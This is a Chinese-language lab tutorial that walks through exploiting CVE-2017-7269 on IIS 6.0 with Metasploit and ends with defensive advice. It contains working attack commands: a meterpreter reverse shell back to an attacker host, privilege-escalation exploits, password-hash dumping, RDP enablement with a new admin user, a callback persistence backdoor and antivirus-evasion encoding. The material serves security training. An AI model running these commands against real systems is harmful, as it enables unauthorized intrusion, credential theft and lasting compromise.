Metasploit实战利用CVE-2017-7269漏洞攻陷IIS 6.0服务器
1. 项目概述一次针对老旧系统的精准打击在渗透测试或安全研究领域我们常常会遇到一些“古董级”的系统它们因为各种原因如业务连续性、升级成本等仍在线上运行却早已停止了官方安全更新。微软的IIS 6.0 Web服务器就是一个典型的例子。今天要聊的这个CVE-2017-7269漏洞就是这类“老古董”身上一个极其危险的“陈年旧伤”。这个漏洞允许攻击者在未授权的情况下远程在目标IIS 6.0服务器上执行任意代码后果就是直接拿到服务器的最高控制权。而我们将要使用的工具则是安全圈内无人不知、无人不晓的“瑞士军刀”——Metasploit Framework。这篇文章不是纸上谈兵的理论课而是一次完整的实战复盘。我会带你从零开始一步步拆解如何利用Metasploit针对存在CVE-2017-7269漏洞的IIS 6.0服务器发起攻击并最终获取一个稳定的反向Shell会话。无论你是刚接触渗透测试的新手想通过一个经典案例来理解漏洞利用的完整链条还是有一定经验的安全从业者希望深化对Metasploit模块使用和后期利用的理解这篇内容都能提供直接的参考。整个过程涉及环境搭建、漏洞原理浅析、模块配置、利用执行以及权限维持等多个环节我会把每个步骤背后的“为什么”和实际操作中容易踩的“坑”都讲清楚。2. 环境准备与漏洞靶场搭建实战的第一步永远是准备好你的“武器库”和“训练场”。一个隔离、可控的测试环境是安全研究的基石绝不能在未经授权的真实系统上进行测试。2.1 攻击机环境配置我们的攻击机将使用渗透测试领域最流行的发行版之一——Kali Linux。它预装了海量的安全工具包括我们需要的Metasploit Framework。1. 更新与基础检查首先确保你的Kali系统是最新的这能避免很多因工具版本过旧导致的奇怪问题。sudo apt update sudo apt upgrade -y更新完成后检查Metasploit的版本。虽然Kali预装了它但我们最好确认一下。msfconsole --version正常情况下你会看到类似Metasploit v6.3.2-dev的输出。如果因为某些原因比如你遇到了“metasploit安装后文件夹是空的”这种问题说明安装可能不完整。最彻底的解决方法是重新安装sudo apt remove metasploit-framework sudo apt autoremove sudo apt install metasploit-framework安装后首次运行msfconsole会进行数据库初始化稍等片刻即可。2. 网络环境确认确保你的攻击机Kali和目标靶机存在漏洞的IIS 6.0在同一个网络内能够互相ping通。在虚拟化环境如VMware或VirtualBox中最简单的方式是将两台虚拟机的网络适配器都设置为“NAT模式”或“仅主机模式”。这里我推荐使用“仅主机模式”它能创建一个完全封闭的虚拟网络与宿主机和其他网络隔离最适合做渗透实验。注意在虚拟机网络设置中务必确认“仅主机模式”的虚拟网卡在攻击机和靶机上是同一个例如都是VMnet1。你可以在VMware的“编辑”-“虚拟网络编辑器”中查看和配置。2.2 漏洞靶机环境搭建为了安全地复现这个漏洞我们需要一台安装了Windows Server 2003 R2并启用IIS 6.0的虚拟机作为靶机。Windows Server 2003是一个早已停止支持的系统强烈建议只在隔离的虚拟化环境中使用。1. 系统安装与基础配置系统镜像你需要准备Windows Server 2003 R2的ISO镜像文件。安装过程新建虚拟机加载ISO进行安装。在安装类型选择时记得选择“自定义安装”并在分区后将磁盘格式化为NTFS格式。在“Windows组件”安装步骤中勾选“应用程序服务器”然后点击“详细信息”确保“Internet信息服务(IIS)”被选中。继续点击IIS的“详细信息”为了触发漏洞我们需要启用“WebDAV”发布功能所以请勾选“万维网服务”-“详细信息”-“WebDAV”。完成安装后系统会要求你设置管理员密码请务必设置一个你记得住的强密码。2. IIS 6.0与WebDAV配置安装完成后进入系统。点击“开始”-“管理工具”-“Internet信息服务(IIS)管理器”。在左侧展开服务器名和“网站”右键点击“默认网站”选择“属性”。切换到“HTTP头”选项卡你可以看到“启用内容过期”等选项暂时无需修改。更关键的是确保WebDAV已启用。在“默认网站属性”中切换到“主目录”选项卡你应该能看到“脚本资源访问”、“读取”、“写入”等权限。WebDAV依赖“写入”权限但为了安全实验环境可以不开因为漏洞触发不严格依赖它。实际上漏洞存在于处理PROPFIND请求的sc模块中只要IIS 6.0安装了WebDAV组件即使没在Web界面显式开启“写入”漏洞也可能存在。我们安装时勾选即表示组件已存在。3. 最终确认打开浏览器在靶机本机访问http://127.0.0.1应该能看到IIS 6.0的默认欢迎页面。同时确保靶机的防火墙关闭或在入站规则中允许80端口以便攻击机能够访问。3. 漏洞原理与Metasploit模块解析在扣动扳机之前理解子弹是如何飞行的至关重要。这能帮助你在利用失败时进行有效排查而不是盲目尝试。3.1 CVE-2017-7269漏洞浅析这个漏洞的根源在于IIS 6.0的WebDAV服务。WebDAV是一种基于HTTP协议的文件管理扩展允许用户像操作本地文件夹一样远程管理Web服务器上的文件。IIS 6.0通过一个名为sc的动态链接库来处理WebDAV请求。漏洞的核心是一个缓冲区溢出。具体来说当攻击者向开启了WebDAV的IIS 6.0服务器发送一个精心构造的、超长的PROPFIND请求时sc模块在解码请求头中的If字段时没有进行有效的边界检查导致数据写入了分配好的内存缓冲区之外覆盖了相邻的关键数据如函数返回地址。你可以把这个过程想象成一个仓库管理员sc模块收到一张超长的货物清单PROPFIND请求。清单上要求把货物堆放到仓库的A区。但管理员不检查清单的长度机械地照单全收结果货物不仅堆满了A区还溢出去压坏了隔壁B区控制仓库大门的电路图返回地址。当管理员按照流程结束工作准备离开仓库函数返回时他会去查看“电路图”来决定从哪个门走。但现在“电路图”被覆盖成了攻击者预设的地址于是管理员就走进了攻击者事先布置好的、充满陷阱的另一个房间攻击者注入的恶意代码区域并执行了那里的指令。在CVE-2017-7269的利用中攻击者通过溢出覆盖返回地址将其指向内存中特定位置的指令例如jmp esp从而劫持程序执行流程跳转到攻击者放置在HTTP请求中的Shellcode一段用于执行命令的机器代码上最终实现任意代码执行。3.2 Metasploit模块深度拆解Metasploit的强大之处在于它将复杂的漏洞利用过程模块化、武器化。对于CVE-2017-7269其利用模块位于exploit/windows/iis/iis_webdav_scstoragepathfromurl。1. 模块结构我们可以通过info命令来查看这个模块的详细信息msf6 use exploit/windows/iis/iis_webdav_scstoragepathfromurl msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) info你会看到如下关键信息Name: 模块名称清晰说明了其作用。Module: 模块路径反映了其在Metasploit库中的分类。Platform:Windows指明了目标平台。Arch:x86因为IIS 6.0是32位应用程序即使在64位系统上其工作进程也运行在32位兼容模式下所以我们的Payload也必须使用x86架构。Targets: 列出了该模块支持的不同目标系统如Windows 2003 SP0/SP1/SP2等。不同系统版本的内存地址可能略有不同模块内置了针对多个版本的精确偏移量。Payload information: 显示了兼容的Payload空间大小。这里显示Space: 2048意味着我们注入的Shellcode长度不能超过2048字节这对于一个反向Shell来说是绰绰有余的。2. 关键选项解析运行show options我们可以看到需要配置的参数RHOSTS: 这是最重要的参数填写目标IIS服务器的IP地址。RPORT: 目标服务的端口默认是80。TARGETURI: 漏洞触发的路径默认为/即网站根目录。如果目标网站将WebDAV发布到了特定目录如/webdav则需要修改此项。TARGET: 目标系统类型。模块通常会自动检测但在自动检测失败或为了更稳定利用时我们可以手动指定例如0代表Windows 2003 SP2。3. Payload的选择与考量show payloads可以列出所有兼容的Payload。对于这种场景我们通常选择windows/meterpreter/reverse_tcp: 这是最经典、功能最强大的选择。Meterpreter是一个高级的、动态可扩展的Payload它运行在内存中不接触磁盘提供了文件系统操作、权限提升、信息搜集、跳板等大量后期利用功能。windows/shell/reverse_tcp: 这是一个更轻量级的反向Shell只提供一个标准的Windows命令提示符。它更稳定在某些严格的网络环境下可能比Meterpreter更容易建立连接但功能单一。实操心得在内部测试或可控环境中优先使用meterpreter/reverse_tcp因为它能极大简化后续的渗透工作。如果遇到连接不稳定或被杀毒软件拦截的情况可以尝试换用shell/reverse_tcp或者对Meterpreter进行编码、加密等免杀处理。4. 实战利用步步为营获取Shell环境就绪原理明晰现在让我们进入实战环节。请确保你的攻击机Kali和靶机Win2003网络互通。4.1 启动Metasploit与模块配置首先在Kali终端中启动Metasploit控制台msfconsole启动后你会看到Metasploit的标志性横幅。接下来按顺序执行以下命令# 1. 加载漏洞利用模块 use exploit/windows/iis/iis_webdav_scstoragepathfromurl # 2. 查看需要设置的参数 show options # 3. 设置目标地址。假设靶机IP为 192.168.1.105 set RHOSTS 192.168.1.105 # 4. 设置Payload。我们选择功能强大的Meterpreter反向TCP。 set PAYLOAD windows/meterpreter/reverse_tcp # 5. 设置监听器地址即攻击机Kali的IP。假设Kali的IP为 192.168.1.104 set LHOST 192.168.1.104 # 6. 再次检查所有配置 show options此时你的配置界面应该类似下图确保RHOSTS,LHOST,PAYLOAD都已正确设置。LPORT监听端口默认为4444如无冲突可不修改。4.2 执行攻击与会话建立配置无误后就是最激动人心的执行时刻。输入命令exploit或者它的别名run。此时Metasploit会开始执行以下工作发送探测请求可能会先发送一个正常的请求以确认目标存活和服务响应。构建恶意请求根据我们设置的TARGET或自动检测结果模块会选取对应的内存偏移地址将jmp esp等跳转指令的地址、以及我们选择的windows/meterpreter/reverse_tcp这个Payload的Shellcode精心拼接成一个超长的、畸形的PROPFINDHTTP请求。发送攻击载荷将这个恶意请求发送到目标服务器的RHOSTS:RPORT。开启本地监听同时在攻击机的LHOST:LPORT如192.168.1.104:4444上启动一个监听器等待靶机反弹连接。如果一切顺利你将在几秒内看到类似下面的输出[*] Started reverse TCP handler on 192.168.1.104:4444 [*] 192.168.1.105:80 - Target is Windows 2003 R2 SP2... [*] 192.168.1.105:80 - Sending exploit... [*] Sending stage (175686 bytes) to 192.168.1.105 [*] Meterpreter session 1 opened (192.168.1.104:4444 - 192.168.1.105:1032) at 2023-10-27 10:00:00 0800 meterpreter 看到meterpreter 提示符恭喜你你已经成功通过漏洞在目标IIS服务器上执行了代码并建立了一个反向的Meterpreter会话这意味着你已经在目标系统上获得了初步的执行权限。4.3 初期信息搜集与会话交互拿到Shell的第一时间不要急于做破坏性操作先进行信息搜集了解你所在的环境。meterpreter sysinfo这个命令会列出目标计算机的基本信息如系统名称、架构、语言等。确认是否是我们的目标靶机Windows 2003。meterpreter getuid这个命令显示当前Meterpreter会话运行在哪个用户权限下。对于IIS 6.0默认的应用程序池身份通常是NT AUTHORITY\NETWORK SERVICE这是一个权限相对较低的服务账户。注意事项NETWORK SERVICE账户权限有限很多操作如写入系统目录、安装服务、转储哈希会受到限制。因此我们后续往往需要进行权限提升。你可以尝试一些基本的命令感受一下Meterpreter的威力meterpreter pwd # 查看当前工作目录通常是IIS的根目录如c:\inetpub\wwwroot meterpreter ls # 列出当前目录文件 meterpreter shell # 切换到系统命令行cmd.exe。按CtrlZ可以退出shell回到meterpreter。输入shell后你就进入了一个标准的Windows命令提示符可以执行dir,whoami,ipconfig等命令。5. 权限提升与后渗透操作获取初始立足点Foothold只是开始。以NETWORK SERVICE权限运行我们能做的事情有限。下一步的目标是获取最高权限NT AUTHORITY\SYSTEM。5.1 自动化提权尝试Metasploit的Meterpreter提供了强大的后渗透模块。最常用的提权方法是使用getsystem命令。它内部尝试了多种技术如令牌复制、命名管道模拟等来提升权限。meterpreter getsystem如果成功你会看到...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).这样的提示。再次运行getuid用户应该变成了NT AUTHORITY\SYSTEM。然而在老旧系统如Windows Server 2003上getsystem有时会失败。我们需要手动尝试其他方法。5.2 手动查找本地提权漏洞当自动化方法失效时我们需要手动搜集系统信息寻找已知的本地提权漏洞。Meterpreter的post/multi/recon/local_exploit_suggester模块可以帮我们大忙。首先在Meterpreter会话中使用background命令将当前会话放到后台会话不会中断。meterpreter background [*] Backgrounding session 1...然后在msfconsole中加载提权建议模块并设置会话ID。msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) use post/multi/recon/local_exploit_suggester msf6 post(multi/recon/local_exploit_suggester) set SESSION 1 msf6 post(multi/recon/local_exploit_suggester) run模块会运行一系列检查分析系统补丁、版本、配置等信息然后输出一个可能适用的本地提权漏洞利用列表。列表会按可靠性排序。例如它可能会建议你尝试exploit/windows/local/ms14_058_track_popup_menu或exploit/windows/local/ms16_016_webdav等。对于Windows Server 2003一些经典的提权漏洞如MS08-025、MS09-012Churrasco、MS10-059Chimichurri成功率较高。选择一个建议的模块进行尝试msf6 post(multi/recon/local_exploit_suggester) use exploit/windows/local/ms10_059_chimichurri msf6 exploit(windows/local/ms10_059_chimichurri) set SESSION 1 msf6 exploit(windows/local/ms10_059_chimichurri) set LHOST 192.168.1.104 msf6 exploit(windows/local/ms10_059_chimichurri) set LPORT 4445 # 避免端口冲突换一个监听端口 msf6 exploit(windows/local/ms10_059_chimichurri) run如果提权成功你会获得一个新的、具有SYSTEM权限的Meterpreter会话。使用sessions -l查看所有会话并用sessions -i [新会话ID]进行交互。5.3 关键操作与权限维持获得SYSTEM权限后你可以进行更深度的操作1. 哈希转储与密码破解使用hashdump命令可以导出本地SAM数据库中的用户密码哈希LM/NTLM。meterpreter hashdump导出的哈希可以保存下来使用像John the Ripper或Hashcat这样的工具进行离线破解特别是如果管理员密码强度不高的话。即使无法破解这些哈希也可以用于“哈希传递”攻击在内网横向移动中直接使用。2. 启用远程桌面为了方便后续管理可以尝试启用目标的远程桌面服务如果之前未启用。meterpreter run getgui -e这个命令会尝试启用RDP、添加防火墙例外甚至创建一个新的管理员用户。成功后你就可以用远程桌面客户端如mstsc连接目标服务器了。3. 创建持久化后门为了在系统重启或会话意外断开后仍能保持访问需要安装持久化后门。meterpreter run persistence -h查看帮助后一个常见的用法是meterpreter run persistence -U -i 30 -p 443 -r 192.168.1.104-U: 用户登录时启动。-i 30: 每隔30秒尝试连接一次。-p 443: 连接回连的端口使用443等常见端口可能绕过防火墙。-r 192.168.1.104: 你的攻击机IP。此命令会在目标机器上创建一个注册表项或计划任务使其定期连接你的监听器重新建立Meterpreter会话。重要警告以上所有后渗透操作仅限在你自己完全控制的实验环境中进行。在真实的渗透测试中每一项操作都必须获得明确的书面授权并严格遵守测试范围。6. 常见问题、排查与防御建议实战中很少有一帆风顺的情况。下面总结一些常见问题及其排查思路。6.1 利用失败常见原因排查问题现象可能原因排查步骤[*] Started reverse TCP handler...之后无下文或提示[-] Exploit failed: ...1. 目标不存在漏洞已打补丁。2. 网络不通或防火墙拦截。3. 目标IIS未启用WebDAV。4.TARGET选择错误。1. 在靶机用telnet [靶机IP] 80测试端口连通性。2. 在靶机浏览器访问http://localhost确认IIS运行。3. 使用nmap扫描nmap -sV -p 80 --script http-webdav-scan [靶机IP]检查WebDAV状态。4. 尝试手动设置TARGET为不同值0,1,2。5. 在msf中启用set VERBOSE true查看更详细输出。收到Meterpreter session X opened但立即断开1. Payload不稳定或与目标环境冲突。2. 杀毒软件或主机防火墙拦截了反向连接或Meterpreter进程。1. 尝试更换Payload为windows/shell/reverse_tcp更稳定。2. 尝试对Payload使用编码器如shikata_ga_nai进行简单免杀set ENCODER x86/shikata_ga_nai。3. 检查攻击机防火墙是否允许入站连接。getsystem提权失败1. 当前漏洞利用或系统配置限制了提权技术。2. 系统已安装相关安全补丁。1. 使用local_exploit_suggester模块寻找其他提权路径。2. 手动尝试已知的、适用于Win2003的提权EXP如MS10-059。能执行命令但无法写入文件当前用户如NETWORK SERVICE对目标目录没有写权限。1. 使用meterpreter search -f *.txt -d C:\等命令寻找可写目录。2. 尝试提权到SYSTEM。3. 利用IIS的目录权限通常C:\inetpub\wwwroot或其子目录有写权限。6.2 从防御视角看CVE-2017-7269作为安全人员了解攻击是为了更好的防御。针对此类漏洞防御措施是清晰且直接的立即升级或替换对于IIS 6.0这类早已停止支持EOL的软件最根本、最有效的措施就是升级到受支持的版本如IIS 10.0。如果因故无法升级应考虑使用反向代理、WAF等方案将老旧系统隔离保护。安装官方补丁微软早已为受支持的系统发布了修复此漏洞的安全更新。对于仍在维护期内的系统必须及时安装所有安全补丁。对于Windows Server 2003官方已不提供支持这凸显了升级的必要性。禁用非必要组件如果WebDAV功能不是业务必需的应在IIS管理器中彻底禁用或卸载该组件。最小化攻击面是安全的基本原则。部署网络防护在企业边界或服务器前端部署Web应用防火墙可以识别并拦截利用此类缓冲区溢出漏洞的畸形HTTP请求。实施网络分段与严格访问控制将运行老旧系统的服务器置于独立的网络区域严格限制内外网对其的访问即使被攻破也能限制攻击者的横向移动能力。这次针对CVE-2017-7269的实战不仅是一次漏洞利用技术的演练更是一次深刻的安全意识教育。它清晰地展示了“永恒之蓝”般的道理一个未修补的高危漏洞搭配公开的利用工具就能让一台服务器门户洞开。在攻与防的永恒博弈中对攻击链的熟悉程度决定了你构建的防线是否真正有效。在实验环境中反复练习这些过程目的正是为了在真实世界里能更早地发现并堵上这些漏洞。